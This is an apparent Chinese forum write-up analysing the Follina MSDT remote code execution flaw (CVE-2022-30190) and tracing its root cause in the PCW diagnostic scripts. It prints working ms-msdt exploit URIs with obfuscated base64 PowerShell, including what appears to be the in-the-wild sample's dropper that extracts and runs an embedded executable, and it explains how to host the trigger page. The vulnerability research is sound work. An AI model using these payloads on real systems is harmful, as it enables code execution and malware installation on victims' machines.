-
-
[原创] Microsoft Windows 支持诊断工具 (MSDT) 远程代码执行漏洞研究
-
发表于: 2022-6-7 11:53 16195
-
2022 年 5 月 30 日,微软紧急公开了已经被用于野外攻击的 Microsoft Windows 支持诊断工具 (MSDT) 远程代码执行漏洞漏洞,漏洞编号为 CVE-2022-30190。Microsoft Windows 支持诊断工具 (MSDT) 存在远程代码执行漏洞,攻击者可通过诱导用户打开特制文件来利用此漏洞,Word 等应用程序中的远程模板功能允许程序从恶意服务器获取带有 'ms-msdt' URI 的特制 HTML,攻击者利用此漏洞可在目标系统上执行任意 PowerShell 代码。然后,攻击者可以安装程序、查看、更改或删除数据,或者在用户权限允许的上下文中创建新帐户。
此漏洞细节已经公开,可参考:https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug。和 CVE-2021-40444 类似,漏洞利用的原始样本中包含对恶意链接的外部引用,word/_rels/document.xml.rels 中存在对一个 OLE 对象的引用,目标是 https://www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html,如下所示:
请求的 RDF842l.html 的内容如下,这里面包含大量注释的 "A",https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/ 文章中解释了为什么必须要填充大量字符,HTTP 响应数据的长度至少要 4096 字节:
其中,比较关键的部分如下,base64 解压解码之后的结果是一段 powershell 指令:
保留其中的 \$cmd=c:\\windows\\system32\\cmd.exe\";Start-Process \$cmd;,使用其 base64 编码后的数据替换原先的数据。启动 HTTP 服务器使这个 html 可以被访问到,修改word文件中 word/_rels/document.xml.rels 的目标链接,打开文档触发漏洞。
也可以使用文章中给的缩减版本 location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../\$(calc)/.exe\"";,效果如下:
另外,Office 虽然不是这个漏洞的根源,但却是这个漏洞进行远程利用的因素之一。对此,微软已经推送了 5 月版本 16.0.15225.20204,Office 2019、Office 2021 以及 Office 365 可以自动更新到这个版本。之前的版本中,打开恶意文档 Word 程序会查询 HKCR\ms-msdt\ 下的注册表值,HKCR\ms-msdt\shell\open\command 中存放着 ms-msdt 的 "%SystemRoot%\system32\msdt.exe" %1的处理程序以及启动方式。而更新后的 Word 不会对 HKCR\ms-msdt\ 进行任何查询,这意味着已经无法通过 Word 去处理 ms-msdt 协议,从而调用存在漏洞的 msdt 程序,这也在一定程度上缓解了漏洞。
1. msdt 初体验
使用 Word 等应用程序打开恶意样本会去请求目标链接,并解析其中的内容,由于其中包含 ms-msdt:,会调用 msdt 程序进行处理,所以这些程序只是远程利用这个漏洞的跳板(选用这些程序是因为它们在调用 msdt 的过程中不会向用户提示),实际产生漏洞的位置还是 msdt。msdt(Microsoft Support Diagnostics Tool,Microsoft 诊断故障排除向导)用于排除故障并收集诊断数据以供支持专业人员分析以解决问题,微软有官方文档对其进行介绍:
https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/msdt
在我写文章的时候已经有这样一份分析:
https://y4er.com/post/follina-microsoft-office-rce-with-ms-msdt-protocol/
下面进入动手环节,使用 Process Monitor 监测 msdt.exe,可以发现它的启动命令行是 msdt ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotList IT_BrowseForFile=/../../\$(calc)/.exe IT_AutoTroubleshoot=ts_AUTO",这给我们测试又提供了方便,这里没有直接用 msdt /id PCWDiagnostic 呢。
a. 经过测试发现,/skip force 和自动下一步相关,如果不加这个参数,就需要用户点击下一页才能触发漏洞
b. IT_LaunchMethod=ContextMenu 和 IT_SelectProgram=NotList 这两个参数和程序选择相关,要利用漏洞需要选择未列出,如果参数中有 IT_LaunchMethod=ContextMenu 和 IT_SelectProgram=NotList 就会自动选择未列出,如果参数中只有 IT_LaunchMethod=ContextMenu 效果也是一样的,否则需要用户选择“未列出”并单击下一页才能触发漏洞
c. 参数 IT_AutoTroubleshoot=ts_AUTO 和触发漏洞没有什么特别联系,huntress 的文章中已经将其删减掉了
d. 参数 IT_RebrowseForFile=cal?c 在本地测试是不需要的,,但远程触发的话还是需要一个参数并且值里面带 "?" 字符,这个参数可以是 IT_RebrowseForFile,也可以是 "ss" 等
e. 最后是 /id PCWDiagnostic,通过 id 指定要运行的诊断包。这里表示使用 PCW 诊断,其帮助用户配置旧程序,以便它们可以在当前版本的 Windows 中运行(刚刚已经体验过这个故障排除包的流程)。最终测试出的命令和文章上一致:
2. PCWDiagnostic 探索
使用 Process Monitor 监测 msdt.exe,会发现有对 C:\Windows\diagnostics\system\PCW 目录下的 powershell 文件的读取。而 C:\Windows\diagnostics\system\PCW 目录正好对应了 PCWDiagnostic
通过搜索关键字,可以发现 IT_BrowseForFile 参数是在 TS_ProgramCompatibilityWizard.ps1 文件中处理的,如下代码所示,看 else 那段代码(if 那块应该不会走到),如果用户选择了 NotListed 就会通过 Get-DiagInput -id IT_BrowseForFile 获取 \$selectedProgram,而 IT_BrowseForFile 指定为了 "/../../\$(calc)/.exe"
然后会调用 Test-Selection 进行判断,如果程序的后缀是 ".exe" 或者 ".msi",会将 appValid 赋值为 True,否则就是 False
如果 \$UpdateChoice 为 ts_Manual,就会调用 Update-DiagRootCause -id "RC_IncompatibleApplication" -iid \$appName -Detected \$true -parameter @{ "TARGETPATH" = \$selectedProgram; "APPNAME" = \$appName} 去更新根本原因的状态,参数分别是 selectedProgram 和 appName,其中 selectedProgram 由 Get-DiagInput -id IT_BrowseForFile 获取,appName 由 [System.IO.Path]::GetFileNameWithoutExtension(\$selectedProgram).Replace("\$", "`\$") 获取。除了前面讲的这些,selectedProgram 还被 \$type::GetAppInfoFromCOS 处理过,但看样子不会出现命令执行
以下是 DiagPackage.diagpkg 中的部分内容,可以得知:TS_ProgramCompatibilityWizard.ps1、RS_ProgramCompatibilityWizard.ps1、VF_ProgramCompatibilityWizard.ps1 分别为故障排除程序脚本、解析程序脚本和验证程序脚本,其中 RS_ProgramCompatibilityWizard.ps1 的两个参数正好是 TargetPath 和 AppName
那我们稍微修改下 TS_ProgramCompatibilityWizard.ps1,在文件中加入 Start-Transcript -Append C:\Users\strawberry\Desktop\PSScriptLog.txt,使我们可以监测到脚本里命令执行的输出(虽然里面没几个可以输出的,就先这样子吧),然后再次触发漏洞,嗯。。。这里有个错误,test-path 产生的,先看下
测试了下,虽然 test-path -literalpath '/../../\$(calc)/.exe' 有报错,但执行完后还是 True,但如果少一次目录遍历的话,结果就是 False。这也和 huntress 测试结果相符合,/../../\$(calc)/.exe 可以绕过 test-path 的检查,从而使 appValid 有机会为 True
还有个地方是对 RS_ProgramCompatibilityWizard.ps1 的调用, 这和前面说的 Update-DiagRootCause -id "RC_IncompatibleApplication" -iid \$appName -Detected \$true -parameter @{ "TARGETPATH" = \$selectedProgram; "APPNAME" = \$appName} 对应,由于传入的 TargetPath 是 "/../../\$(calc)/.exe",这也意味着造成直接命令执行的地方不是 Update-DiagRootCause 指令处。另外,C:\Users\STRAWB~1\AppData\Local\Temp\SDIAG_80ef9407-5752-4fea-b2e4-fa914c17944b\ 目录下的 RS_ProgramCompatibilityWizard.ps1 文件是从 C:\Windows\diagnostics\system\PCW 目录下复制的
为了更快验证,我直接删除了 RS_ProgramCompatibilityWizard.ps1,并且在 Update-DiagRootCause -id "RC_IncompatibleApplication" -iid \$appName -Detected \$true -parameter @{ "TARGETPATH" = \$selectedProgram; "APPNAME" = \$appName} 命令前后加入了以下代码。这次使用弹 cmd 的 poc 测试,执行顺序依次是 "calc、cmd、calc、calc、calc",这证明在 RS_ProgramCompatibilityWizard.ps1 文件执行前就出现了代码执行,因为删除了这个脚本 cmd 还是会弹出来因而可排除它的嫌疑。
查看这次的日志文件,还是会先去执行 & "Path\RS_ProgramCompatibilityWizard.ps1" -TargetPath "XXXXXXXXXX" -AppName "mpsigstub",由于没有这个文件了,因而转而去执行 & "Path\VF_ProgramCompatibilityWizard.ps1" -AppName "mpsigstub" 以及 & "Path\TS_ProgramCompatibilityWizard.ps1"
现在可以确定调用 Update-DiagRootCause -id "RC_IncompatibleApplication" -iid \$appName -Detected \$true -parameter @{ "TARGETPATH" = \$selectedProgram; "APPNAME" = \$appName} 后会触发一些机制去执行 & "Path\RS_ProgramCompatibilityWizard.ps1" -TargetPath "/../../\$(calc)/.exe" -AppName "mpsigstub" 无论该文件是否存在,而就在这里 "/../../$(calc)/.exe" 会导致代码执行。当然像我直接删除文件这种验证方式是不推荐的,但是快~ 另外,可以在 RS_ProgramCompatibilityWizard.ps1 文件执行的时候验证一下传进来的参数,是不是已经命令执行过了
本文简单分析了下漏洞,并找到了漏洞触发的根源。还有一系列问题是值得去探究的,比如 Update-DiagRootCause 调用解析程序脚本、验证程序脚本等文件的过程,主要是参数如何去处理的;怎样去构造一个合适的 IT_RebrowseForFile 参数,如果要执行大段命令为什么需要构造类似于 \$(Invoke-Expression(\$(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZD0nYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJztTdGFydC1Qcm9jZXNzICRjbWQ7'+[char]34+'))'))))/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe 这种形态。最后,希望大佬们多多指教~
https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug
https://y4er.com/post/follina-microsoft-office-rce-with-ms-msdt-protocol/
https://mp.weixin.qq.com/s/y0Ubd8X3jreLZE5d7uJXbA
https://mp.weixin.qq.com/s/XJ73RL0a_scQCIFbLj9CnA
直接为知笔记转 markdown 过来的,好像有点乱,不过懒得再改了 T_T
window.location.href
=
"ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\""
;
window.location.href
=
"ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\""
;
/
/
通过 IT_BrowseForFile 指定的程序不一定要存在,但必须是 exe 或 msi 结尾的
window.location.href
=
"ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZD0nYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJztTdGFydC1Qcm9jZXNzICRjbWQ7'+[char]34+'))'))))/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\""
;
/
/
通过 IT_BrowseForFile 指定的程序不一定要存在,但必须是 exe 或 msi 结尾的
window.location.href
=
"ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZD0nYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJztTdGFydC1Qcm9jZXNzICRjbWQ7'+[char]34+'))'))))/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\""
;
msdt ms
-
msdt:
/
id
PCWDiagnostic
/
skip force
/
param
"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe"
msdt ms
-
msdt:
/
id
PCWDiagnostic
/
skip force
/
param
"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe"
<Troubleshooter>
<Script>
<Parameters
/
>
<ProcessArchitecture>
Any
<
/
ProcessArchitecture>
<RequiresElevation>false<
/
RequiresElevation>
<RequiresInteractivity>true<
/
RequiresInteractivity>
<FileName>TS_ProgramCompatibilityWizard.ps1<
/
FileName>
<ExtensionPoint
/
>
<
/
Script>
<ExtensionPoint
/
>
<
/
Troubleshooter>
<Rootcauses>
<Rootcause>
<
ID
>RC_IncompatibleApplication<
/
ID
>
<DisplayInformation>
<Parameters>
<Parameter>
<Name>AppName<
/
Name>
<DefaultValue
/
>
<
/
Parameter>
<
/
Parameters>
<Name>@diagpackage.dll,
-
100
<
/
Name>
<Description>@diagpackage.dll,
-
101
<
/
Description>
<
/
DisplayInformation>
<Resolvers>
<Resolver>
<
ID
>RS_IncompatibleApplication_ID<
/
ID
>
<DisplayInformation>
<Parameters>
<Parameter>
<Name>AppName<
/
Name>
<DefaultValue
/
>
<
/
Parameter>
<
/
Parameters>
<Name>@diagpackage.dll,
-
102
<
/
Name>
<Description>@diagpackage.dll,
-
103
<
/
Description>
<
/
DisplayInformation>
<RequiresConsent>false<
/
RequiresConsent>
<Script>
<Parameters>
<Parameter>
<Name>TargetPath<
/
Name>
<DefaultValue
/
>
<
/
Parameter>
<Parameter>
<Name>AppName<
/
Name>
<DefaultValue
/
>
<
/
Parameter>
<
/
Parameters>
<ProcessArchitecture>
Any
<
/
ProcessArchitecture>
<RequiresElevation>false<
/
RequiresElevation>
<RequiresInteractivity>true<
/
RequiresInteractivity>
<FileName>RS_ProgramCompatibilityWizard.ps1<
/
FileName>
<ExtensionPoint
/
>
<
/
Script>
<ExtensionPoint
/
>
<
/
Resolver>
<
/
Resolvers>
<Verifier>
<Script>
<Parameters>
<Parameter>
<Name>AppName<
/
Name>
<DefaultValue
/
>
<
/
Parameter>
<
/
Parameters>
<ProcessArchitecture>
Any
<
/
ProcessArchitecture>
<RequiresElevation>false<
/
RequiresElevation>
<RequiresInteractivity>false<
/
RequiresInteractivity>
<FileName>VF_ProgramCompatibilityWizard.ps1<
/
FileName>
<ExtensionPoint
/
>
<
/
Script>
<ExtensionPoint
/
>
<
/
Verifier>
<ContextParameters
/
>
<ExtensionPoint
/
>
<
/
Rootcause>
<
/
Rootcauses>
<Troubleshooter>
<Script>
<Parameters
/
>
<ProcessArchitecture>
Any
<
/
ProcessArchitecture>
<RequiresElevation>false<
/
RequiresElevation>
<RequiresInteractivity>true<
/
RequiresInteractivity>
<FileName>TS_ProgramCompatibilityWizard.ps1<
/
FileName>
<ExtensionPoint
/
>
<
/
Script>
<ExtensionPoint
/
>
<
/
Troubleshooter>
<Rootcauses>
<Rootcause>
<
ID
>RC_IncompatibleApplication<
/
ID
>
<DisplayInformation>
<Parameters>
<Parameter>
<Name>AppName<
/
Name>
<DefaultValue
/
>
<
/
Parameter>
<
/
Parameters>
<Name>@diagpackage.dll,
-
100
<
/
Name>
<Description>@diagpackage.dll,
-
101
<
/
Description>
<
/
DisplayInformation>
<Resolvers>
<Resolver>
<
ID
>RS_IncompatibleApplication_ID<
/
ID
>
<DisplayInformation>
<Parameters>
<Parameter>
<Name>AppName<
/
Name>
<DefaultValue
/
>
<
/
Parameter>
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!